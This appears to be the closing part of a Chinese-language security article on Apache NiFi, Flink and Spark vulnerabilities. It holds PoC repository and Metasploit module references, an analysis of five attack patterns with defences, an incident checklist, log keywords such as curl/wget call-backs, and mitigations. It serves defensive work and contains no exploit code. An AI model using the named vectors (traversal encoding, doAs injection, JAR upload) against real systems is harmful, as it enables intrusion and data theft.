关键 PoC 仓库链接 平台 资源 URL Apache NiFi CVE-2026-39816 PoC https://github.com/ZeroPathAI/nifi-CVE-2026-39816-pocApache Flink Metasploit JAR Upload exploit/multi/http/apache_flink_jar_upload_execApache Spark CVE-2022-33891 PoC https://github.com/HuskyHacks/cve-2022-33891Apache Spark Metasploit Spark RCE exploit/multi/http/apache_spark_unauth_rceJava 反序列化 ysoserial https://github.com/frohoff/ysoserial漏洞数据库 NVD https://nvd.nist.gov/漏洞数据库 MITRE CVE https://cve.mitre.org/漏洞数据库 EPSS https://www.first.org/epss/
防守型验证思路 在进行防守型验证时,建议遵循以下流程:
资产发现 :使用 Nuclei 扫描模板批量探测 NiFi、Flink、Spark 实例,识别暴露的 Web UI 和 REST API 端口版本识别 :通过 /overview、/json/、/nifi-api/flow/ 等端点获取目标的精确版本信息漏洞匹配 :根据版本号对照本专题的受影响版本表格,确定目标可能存在的漏洞安全检测 :使用本文提供的 Nuclei 模板和 Python PoC 脚本进行安全检测(仅检测,不执行破坏性操作)修复建议 :根据检测结果,优先升级到修复版本,或实施相应的缓解措施0x05 共性攻击模式分析 模式1:REST API 未授权访问(Flink/Spark 默认无认证) Apache Flink 和 Apache Spark 的 REST API 在默认配置下不启用任何认证机制。Flink 的 /jars/upload、/jobmanager/logs 等端点和 Spark 的 /?doAs、/json/ 等端点均可被任何能够访问对应端口的用户直接调用。这种设计在快速开发和测试环境中提供了便利,但在生产环境中构成了严重的安全隐患。
利用场景 :内网中暴露的 Flink/Spark 实例可以被横向移动的攻击者直接利用,无需任何凭据即可上传恶意 JAR 执行代码或通过目录遍历读取敏感文件。
防御建议 :在反向代理层(Nginx、HAProxy)强制启用认证,配置 Kubernetes NetworkPolicy 或防火墙规则限制对 REST API 端口的访问。
模式2:表达式/脚本语言注入(H2 INIT, Groovy) H2 数据库 JDBC 驱动的 INIT 子句和 TinkerPop 的 Groovy 引擎为数据处理平台引入了强大的脚本执行能力,但同时也打开了代码注入的大门。CVE-2023-34468 利用 H2 的 CREATE TRIGGER + JavaScript 引擎实现 RCE,CVE-2026-39816 通过 Gremlin 查询中的 Groovy 代码执行实现提权。
利用场景 :攻击者在获得低权限的平台访问权后,通过注入脚本语言代码提升至操作系统级别的代码执行权限。
防御建议 :对用户可配置的连接字符串和查询语句实施严格的白名单校验;禁用 H2 的 INIT 功能;限制 Groovy 引擎的沙箱策略。
模式3:反序列化攻击链(Jackson, Java native) CVE-2025-54920(Spark History Server Jackson 多态反序列化)和 CVE-2017-12612(Spark Launcher API 原生反序列化)均属于反序列化攻击模式。攻击者通过构造包含恶意 @type 字段的 JSON 数据或直接注入 Java 序列化对象,利用目标 classpath 中的 gadget class 触发任意代码执行。
利用场景 :攻击者将恶意数据文件注入到目标应用的数据处理管道中,在数据解析时触发反序列化利用链。
防御建议 :禁用 Jackson 的多态反序列化功能(ObjectMapper.disableDefaultTyping());对 Java 原生反序列化实施类白名单过滤(ValidatingObjectInputStream)。
模式4:路径穿越与文件操作(目录遍历、任意文件读写) CVE-2020-17519(Flink 目录遍历读取)和 CVE-2020-17518(Flink 任意文件写入)代表了路径穿越类攻击。双重 URL 编码绕过和 HTTP Header 路径注入是两种典型的路径穿越向量。
利用场景 :攻击者通过路径穿越读取服务器上的 SSH 私钥、云平台元数据、数据库凭据等敏感文件,或通过任意文件写入实现持久化后门。
防御建议 :对所有文件路径参数进行规范化处理(canonicalize)后校验;禁止 .. 和 ~ 等路径穿越字符;使用 chroot 或容器化隔离文件系统。
模式5:命令注入与沙箱绕过 CVE-2022-33891 和 CVE-2023-32007(Spark Shell 命令注入)、CVE-2026-44913(NiFi SQL 注入)均属于输入验证失败导致的命令注入类漏洞。Spark UI 的 doAs 参数通过 getUnixGroups() 间接调用系统命令,NiFi 的 CaptureChangeMySQL 通过表名拼接触发 SQL 注入。
利用场景 :攻击者通过精心构造的输入参数,绕过应用层的过滤机制,将恶意命令注入到系统调用或数据库查询中。
防御建议 :使用参数化查询替代字符串拼接;对所有用户输入实施严格的输入验证和输出编码;避免将用户输入直接传递给系统命令。
0x06 应急排查与防守建议 紧急排查清单 排查项 NiFi Flink Spark 检查版本是否在受影响范围内 nifi --version访问 /overview 访问 /json/ 检查 REST API 是否暴露公网 端口 8443/8080 端口 8081 端口 4040/8080 检查是否启用了认证 nifi.properties 中 nifi.security 配置 security.rest.external.addressspark.authenticate检查 JDBC 连接池配置 查看 DBCPConnectionPool 属性 N/A N/A 检查 H2 驱动是否在 classpath 查看 lib/ 目录 N/A N/A 检查 TinkerPop 是否启用 nifi-tinkerpop-servicesN/A N/A 检查 ACL 配置 N/A N/A spark.acls.enable检查 History Server 暴露 N/A N/A 端口 18080
日志关键字段表 平台 日志路径 关键字段 Apache NiFi logs/nifi-app.logCreateControllerService, UpdateControllerService, ExecuteGraphQueryApache Flink log/flink-*.logPOST /jars/upload, GET /jobmanager/logs, doAsApache Spark logs/spark-*.logdoAs, getUnixGroups, Authorization, POST /jars/通用 系统日志 /var/log/auth.log 异常的 id 命令调用、curl/wget 回连
紧急缓解措施 网络层隔离 :立即为 NiFi(8443/8080)、Flink(8081)、Spark(4040/8080/18080)配置防火墙规则,仅允许授权管理 IP 访问启用认证 :为 Flink REST API 启用 Kerberos 或代理层认证;为 Spark 启用 spark.authenticate=true 并设置强 secret禁用危险功能 :在 NiFi 中禁用 H2 INIT 子句(升级至 ≥ 1.22.0);禁用 TinkerPop 支持(如不需要)限制脚本执行 :为 NiFi 的 Execute Code 权限实施最小化授权策略部署 WAF 规则 :针对已知的 PoC Payload(如 %252f 目录遍历、doAs 命令注入)配置 WAF 拦截规则长期安全加固建议 升级到最新稳定版 :NiFi ≥ 2.10.0、Flink ≥ 1.18.1、Spark ≥ 3.5.7实施零信任架构 :所有大数据平台的 REST API 和 Web UI 均通过反向代理层强制认证定期安全审计 :每季度对大数据基础设施进行漏洞扫描和渗透测试供应链安全 :定期审查 NiFi 处理器、Flink JAR 依赖和 Spark 库中的安全漏洞日志集中分析 :将 NiFi/Flink/Spark 的访问日志和应用日志接入 SIEM 系统,配置异常行为检测规则容器化部署 :将大数据组件部署在容器中,使用非 root 用户运行,限制文件系统和网络访问权限密钥管理 :使用 HashiCorp Vault 等工具集中管理数据库连接密码、Kerberos keytab 等敏感凭据0x07 参考资料 Apache NiFi Security Advisory - https://nifi.apache.org/security.html Apache Flink Security - https://flink.apache.org/security/ Apache Spark Security - https://spark.apache.org/docs/latest/security.html CISA Known Exploited Vulnerabilities Catalog - https://www.cisa.gov/known-exploited-vulnerabilities-catalog CYFIRMA CVE-2023-34468 Analysis - https://cyfirmsecurity.com/research/ ZeroPathAI NiFi CVE-2026-39816 PoC - https://github.com/ZeroPathAI/nifi-CVE-2026-39816-poc HuskyHacks CVE-2022-33891 PoC - https://github.com/HuskyHacks/cve-2022-33891 Apache JIRA SPARK-52381 - https://issues.apache.org/jira/browse/SPARK-52381 EPSS (Exploit Prediction Scoring System) - https://www.first.org/epss/ ysoserial Java Deserialization Exploits - https://github.com/frohoff/ysoserial